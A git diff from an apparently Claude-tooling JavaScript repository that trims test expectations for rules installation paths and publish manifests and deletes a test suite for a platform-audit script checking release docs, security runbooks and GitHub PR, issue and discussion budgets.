rulesReadme.includes('cp -r rules/common ~/.claude/rules/ecc/'),
|
||||
'rules README should copy common rules under ~/.claude/rules/ecc/'
|
||||
);
|
||||
assert.ok(
|
||||
rulesReadme.includes('cp -r rules/typescript ~/.claude/rules/ecc/'),
|
||||
'rules README should copy language rules under ~/.claude/rules/ecc/'
|
||||
);
|
||||
assert.ok(
|
||||
rulesReadme.includes('mkdir -p .claude/rules/ecc'),
|
||||
'rules README should document the project-local ECC namespace'
|
||||
);
|
||||
assert.ok(
|
||||
!rulesReadme.includes('~/.claude/rules/typescript'),
|
||||
'rules README should not recommend flat user-level rule destinations'
|
||||
);
|
||||
})) passed++; else failed++;
|
||||
|
||||
console.log(`\nResults: Passed: ${passed}, Failed: ${failed}`);
|
||||
process.exit(failed > 0 ? 1 : 0);
|
||||
}
|
||||
|
||||
@@ -43,7 +43,6 @@ function buildExpectedPublishPaths(repoRoot) {
|
||||
"manifests",
|
||||
"scripts/ecc.js",
|
||||
"scripts/catalog.js",
|
||||
"scripts/ci/scan-supply-chain-iocs.js",
|
||||
"scripts/consult.js",
|
||||
"scripts/claw.js",
|
||||
"scripts/doctor.js",
|
||||
@@ -55,7 +54,6 @@ function buildExpectedPublishPaths(repoRoot) {
|
||||
"scripts/list-installed.js",
|
||||
"scripts/loop-status.js",
|
||||
"scripts/observability-readiness.js",
|
||||
"scripts/platform-audit.js",
|
||||
"scripts/skill-create-output.js",
|
||||
"scripts/repair.js",
|
||||
"scripts/harness-adapter-compliance.js",
|
||||
@@ -121,10 +119,8 @@ function main() {
|
||||
|
||||
for (const requiredPath of [
|
||||
"scripts/catalog.js",
|
||||
"scripts/ci/scan-supply-chain-iocs.js",
|
||||
"scripts/consult.js",
|
||||
"scripts/work-items.js",
|
||||
"scripts/platform-audit.js",
|
||||
".gemini/GEMINI.md",
|
||||
".qwen/QWEN.md",
|
||||
".claude-plugin/plugin.json",
|
||||
|
||||
@@ -114,10 +114,6 @@ function seedMinimalRepo(rootDir, overrides = {}) {
|
||||
'docs/security/supply-chain-incident-response.md': [
|
||||
'TanStack',
|
||||
'Mini Shai-Hulud',
|
||||
'scan-supply-chain-iocs.js',
|
||||
'gh-token-monitor',
|
||||
'.claude/settings.json',
|
||||
'.vscode/tasks.json',
|
||||
'npm audit signatures',
|
||||
'trusted publishing',
|
||||
'pull_request_target',
|
||||
@@ -130,8 +126,6 @@ function seedMinimalRepo(rootDir, overrides = {}) {
|
||||
'id-token: write',
|
||||
'shared cache'
|
||||
].join('\n'),
|
||||
'scripts/ci/scan-supply-chain-iocs.js': 'TanStack Mini Shai-Hulud gh-token-monitor',
|
||||
'tests/ci/scan-supply-chain-iocs.test.js': 'scan-supply-chain-iocs',
|
||||
'tests/ci/validate-workflow-security.test.js': 'npm audit signatures persist-credentials: false',
|
||||
'tests/scripts/npm-publish-surface.test.js': 'npm pack --dry-run Python bytecode',
|
||||
'tests/docs/ecc2-release-surface.test.js': 'publication-readiness.md',
|
||||
|
||||
@@ -1,328 +0,0 @@
|
||||
/**
|
||||
* Tests for scripts/platform-audit.js
|
||||
*/
|
||||
|
||||
const assert = require('assert');
|
||||
const fs = require('fs');
|
||||
const os = require('os');
|
||||
const path = require('path');
|
||||
const { execFileSync, spawnSync } = require('child_process');
|
||||
|
||||
const SCRIPT = path.join(__dirname, '..', '..', 'scripts', 'platform-audit.js');
|
||||
|
||||
function createTempDir(prefix) {
|
||||
return fs.mkdtempSync(path.join(os.tmpdir(), prefix));
|
||||
}
|
||||
|
||||
function cleanup(dirPath) {
|
||||
fs.rmSync(dirPath, { recursive: true, force: true });
|
||||
}
|
||||
|
||||
function writeFile(rootDir, relativePath, content) {
|
||||
const targetPath = path.join(rootDir, relativePath);
|
||||
fs.mkdirSync(path.dirname(targetPath), { recursive: true });
|
||||
fs.writeFileSync(targetPath, content);
|
||||
}
|
||||
|
||||
function seedRepo(rootDir, overrides = {}) {
|
||||
const files = {
|
||||
'package.json': JSON.stringify({
|
||||
name: 'everything-claude-code',
|
||||
scripts: {
|
||||
'platform:audit': 'node scripts/platform-audit.js',
|
||||
'observability:ready': 'node scripts/observability-readiness.js',
|
||||
'security:ioc-scan': 'node scripts/ci/scan-supply-chain-iocs.js',
|
||||
'harness:audit': 'node scripts/harness-audit.js'
|
||||
}
|
||||
}, null, 2),
|
||||
'docs/ECC-2.0-GA-ROADMAP.md': [
|
||||
'ECC Platform Roadmap',
|
||||
'https://linear.app/itomarkets/project/ecc-platform-roadmap-52b328ee03e1',
|
||||
'ITO-44',
|
||||
'ITO-59'
|
||||
].join('\n'),
|
||||
'docs/architecture/progress-sync-contract.md': [
|
||||
'GitHub PRs/issues/discussions',
|
||||
'Linear project',
|
||||
'local handoff',
|
||||
'repo roadmap',
|
||||
'scripts/work-items.js'
|
||||
].join('\n'),
|
||||
'docs/security/supply-chain-incident-response.md': [
|
||||
'TanStack',
|
||||
'Mini Shai-Hulud',
|
||||
'node-ipc',
|
||||
'scan-supply-chain-iocs.js'
|
||||
].join('\n'),
|
||||
'docs/releases/2.0.0-rc.1/publication-evidence-2026-05-15.md': [
|
||||
'TanStack',
|
||||
'Mini Shai-Hulud',
|
||||
'Node IPC follow-up',
|
||||
'node-ipc',
|
||||
'IOC scan'
|
||||
].join('\n')
|
||||
};
|
||||
|
||||
for (const [relativePath, content] of Object.entries({ ...files, ...overrides })) {
|
||||
if (content === null) {
|
||||
continue;
|
||||
}
|
||||
writeFile(rootDir, relativePath, content);
|
||||
}
|
||||
}
|
||||
|
||||
function writeGhShim(rootDir, responses) {
|
||||
const shimPath = path.join(rootDir, 'gh-shim.js');
|
||||
fs.writeFileSync(shimPath, `
|
||||
const responses = ${JSON.stringify(responses)};
|
||||
const args = process.argv.slice(2);
|
||||
const key = args.join(' ');
|
||||
if (process.env.GITHUB_TOKEN) {
|
||||
console.error('GITHUB_TOKEN should be unset by default');
|
||||
process.exit(42);
|
||||
}
|
||||
if (!Object.prototype.hasOwnProperty.call(responses, key)) {
|
||||
console.error('Unexpected gh args: ' + key);
|
||||
process.exit(3);
|
||||
}
|
||||
process.stdout.write(JSON.stringify(responses[key]));
|
||||
`);
|
||||
return shimPath;
|
||||
}
|
||||
|
||||
function run(args = [], options = {}) {
|
||||
const env = {
|
||||
...process.env,
|
||||
...(options.env || {})
|
||||
};
|
||||
|
||||
return execFileSync('node', [SCRIPT, ...args], {
|
||||
cwd: options.cwd || path.join(__dirname, '..', '..'),
|
||||
env,
|
||||
encoding: 'utf8',
|
||||
stdio: ['pipe', 'pipe', 'pipe'],
|
||||
timeout: 10000
|
||||
});
|
||||
}
|
||||
|
||||
function runProcess(args = [], options = {}) {
|
||||
const env = {
|
||||
...process.env,
|
||||
...(options.env || {})
|
||||
};
|
||||
|
||||
return spawnSync('node', [SCRIPT, ...args], {
|
||||
cwd: options.cwd || path.join(__dirname, '..', '..'),
|
||||
env,
|
||||
encoding: 'utf8',
|
||||
stdio: ['pipe', 'pipe', 'pipe'],
|
||||
timeout: 10000
|
||||
});
|
||||
}
|
||||
|
||||
function test(name, fn) {
|
||||
try {
|
||||
fn();
|
||||
console.log(` PASS ${name}`);
|
||||
return true;
|
||||
} catch (error) {
|
||||
console.log(` FAIL ${name}`);
|
||||
console.log(` Error: ${error.message}`);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
function runTests() {
|
||||
console.log('\n=== Testing platform-audit.js ===\n');
|
||||
|
||||
let passed = 0;
|
||||
let failed = 0;
|
||||
|
||||
if (test('parseArgs accepts supported flags and rejects invalid values', () => {
|
||||
const { parseArgs } = require(SCRIPT);
|
||||
const rootDir = createTempDir('platform-audit-args-');
|
||||
|
||||
try {
|
||||
const parsed = parseArgs([
|
||||
'node',
|
||||
'script',
|
||||
'--format=json',
|
||||
`--root=${rootDir}`,
|
||||
'--repo',
|
||||
'affaan-m/everything-claude-code',
|
||||
'--max-open-prs',
|
||||
'5',
|
||||
'--max-open-issues',
|
||||
'6',
|
||||
'--allow-untracked',
|
||||
'docs/drafts/'
|
||||
]);
|
||||
|
||||
assert.strictEqual(parsed.format, 'json');
|
||||
assert.strictEqual(parsed.root, path.resolve(rootDir));
|
||||
assert.deepStrictEqual(parsed.repos, ['affaan-m/everything-claude-code']);
|
||||
assert.strictEqual(parsed.thresholds.maxOpenPrs, 5);
|
||||
assert.strictEqual(parsed.thresholds.maxOpenIssues, 6);
|
||||
assert.deepStrictEqual(parsed.allowUntracked, ['docs/drafts/']);
|
||||
|
||||
assert.throws(() => parseArgs(['node', 'script', '--format', 'xml']), /Invalid format/);
|
||||
assert.throws(() => parseArgs(['node', 'script', '--repo']), /--repo requires a value/);
|
||||
assert.throws(() => parseArgs(['node', 'script', '--max-open-prs', 'x']), /Invalid --max-open-prs/);
|
||||
assert.throws(() => parseArgs(['node', 'script', '--unknown']), /Unknown argument/);
|
||||
} finally {
|
||||
cleanup(rootDir);
|
||||
}
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('skip-github report checks local release and security evidence', () => {
|
||||
const projectRoot = createTempDir('platform-audit-local-');
|
||||
|
||||
try {
|
||||
seedRepo(projectRoot);
|
||||
const parsed = JSON.parse(run(['--format=json', `--root=${projectRoot}`, '--skip-github'], { cwd: projectRoot }));
|
||||
|
||||
assert.strictEqual(parsed.schema_version, 'ecc.platform-audit.v1');
|
||||
assert.strictEqual(parsed.ready, true);
|
||||
assert.strictEqual(parsed.github.skipped, true);
|
||||
assert.ok(parsed.checks.some(check => check.id === 'roadmap-linear-mirror' && check.status === 'pass'));
|
||||
assert.ok(parsed.checks.some(check => check.id === 'supply-chain-runbook' && check.status === 'pass'));
|
||||
assert.deepStrictEqual(parsed.top_actions, []);
|
||||
} finally {
|
||||
cleanup(projectRoot);
|
||||
}
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('github queue and discussion budgets pass with maintainer touch', () => {
|
||||
const projectRoot = createTempDir('platform-audit-github-pass-');
|
||||
|
||||
try {
|
||||
seedRepo(projectRoot);
|
||||
const shimPath = writeGhShim(projectRoot, {
|
||||
'pr list --repo affaan-m/everything-claude-code --state open --json number,title,isDraft,mergeStateStatus,updatedAt,url,author': [],
|
||||
'issue list --repo affaan-m/everything-claude-code --state open --json number,title,updatedAt,url,author,labels': [],
|
||||
'api graphql -f owner=affaan-m -f name=everything-claude-code -F first=100 -f query=query($owner: String!, $name: String!, $first: Int!) { repository(owner: $owner, name: $name) { hasDiscussionsEnabled discussions(first: $first, orderBy: {field: UPDATED_AT, direction: DESC}) { totalCount nodes { number title url updatedAt authorAssociation comments(first: 20) { nodes { authorAssociation } } } } } }': {
|
||||
data: {
|
||||
repository: {
|
||||
hasDiscussionsEnabled: true,
|
||||
discussions: {
|
||||
totalCount: 1,
|
||||
nodes: [
|
||||
{
|
||||
number: 73,
|
||||
title: 'Compacting during workflow',
|
||||
url: 'https://github.com/example/discussions/73',
|
||||
updatedAt: '2026-05-15T00:00:00Z',
|
||||
authorAssociation: 'NONE',
|
||||
comments: { nodes: [{ authorAssociation: 'OWNER' }] }
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
const parsed = JSON.parse(run([
|
||||
'--format=json',
|
||||
`--root=${projectRoot}`,
|
||||
'--repo',
|
||||
'affaan-m/everything-claude-code'
|
||||
], {
|
||||
cwd: projectRoot,
|
||||
env: {
|
||||
ECC_GH_SHIM: shimPath,
|
||||
GITHUB_TOKEN: 'must-be-removed'
|
||||
}
|
||||
}));
|
||||
|
||||
assert.strictEqual(parsed.ready, true);
|
||||
assert.strictEqual(parsed.github.totals.openPrs, 0);
|
||||
assert.strictEqual(parsed.github.totals.openIssues, 0);
|
||||
assert.strictEqual(parsed.github.totals.discussionsNeedingMaintainerTouch, 0);
|
||||
assert.ok(parsed.checks.some(check => check.id === 'github-discussion-touch' && check.status === 'pass'));
|
||||
} finally {
|
||||
cleanup(projectRoot);
|
||||
}
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('threshold failures and untouched discussions become top actions', () => {
|
||||
const projectRoot = createTempDir('platform-audit-github-fail-');
|
||||
|
||||
try {
|
||||
seedRepo(projectRoot);
|
||||
const prs = Array.from({ length: 3 }, (_, index) => ({
|
||||
number: index + 1,
|
||||
title: `PR ${index + 1}`,
|
||||
isDraft: false,
|
||||
mergeStateStatus: 'CLEAN',
|
||||
updatedAt: '2026-05-15T00:00:00Z',
|
||||
url: `https://github.com/example/pull/${index + 1}`,
|
||||
author: { login: 'contributor' }
|
||||
}));
|
||||
const shimPath = writeGhShim(projectRoot, {
|
||||
'pr list --repo affaan-m/everything-claude-code --state open --json number,title,isDraft,mergeStateStatus,updatedAt,url,author': prs,
|
||||
'issue list --repo affaan-m/everything-claude-code --state open --json number,title,updatedAt,url,author,labels': [],
|
||||
'api graphql -f owner=affaan-m -f name=everything-claude-code -F first=100 -f query=query($owner: String!, $name: String!, $first: Int!) { repository(owner: $owner, name: $name) { hasDiscussionsEnabled discussions(first: $first, orderBy: {field: UPDATED_AT, direction: DESC}) { totalCount nodes { number title url updatedAt authorAssociation comments(first: 20) { nodes { authorAssociation } } } } } }': {
|
||||
data: {
|
||||
repository: {
|
||||
hasDiscussionsEnabled: true,
|
||||
discussions: {
|
||||
totalCount: 1,
|
||||
nodes: [
|
||||
{
|
||||
number: 1239,
|
||||
title: 'Losing context',
|
||||
url: 'https://github.com/example/discussions/1239',
|
||||
updatedAt: '2026-05-15T00:00:00Z',
|
||||
authorAssociation: 'NONE',
|
||||
comments: { nodes: [] }
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
const parsed = JSON.parse(run([
|
||||
'--format=json',
|
||||
`--root=${projectRoot}`,
|
||||
'--repo',
|
||||
'affaan-m/everything-claude-code',
|
||||
'--max-open-prs',
|
||||
'2'
|
||||
], {
|
||||
cwd: projectRoot,
|
||||
env: { ECC_GH_SHIM: shimPath }
|
||||
}));
|
||||
|
||||
assert.strictEqual(parsed.ready, false);
|
||||
assert.ok(parsed.top_actions.some(action => action.id === 'github-open-pr-budget'));
|
||||
assert.ok(parsed.top_actions.some(action => action.id === 'github-discussion-touch'));
|
||||
assert.strictEqual(parsed.github.totals.discussionsNeedingMaintainerTouch, 1);
|
||||
} finally {
|
||||
cleanup(projectRoot);
|
||||
}
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('cli help and invalid args exit cleanly', () => {
|
||||
const help = runProcess(['--help']);
|
||||
assert.strictEqual(help.status, 0);
|
||||
assert.ok(help.stdout.includes('Usage: node scripts/platform-audit.js'));
|
||||
|
||||
const invalid = runProcess(['--format', 'xml']);
|
||||
assert.strictEqual(invalid.status, 1);
|
||||
assert.ok(invalid.stderr.includes('Invalid format'));
|
||||
})) passed++; else failed++;
|
||||
|
||||
console.log(`\nPassed: ${passed}`);
|
||||
console.log(`Failed: ${failed}`);
|
||||
|
||||
if (failed > 0) {
|
||||
process.exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
if (require.main === module) {
|
||||
runTests();
|
||||
}
|
||||
Reference in New Issue
Block a user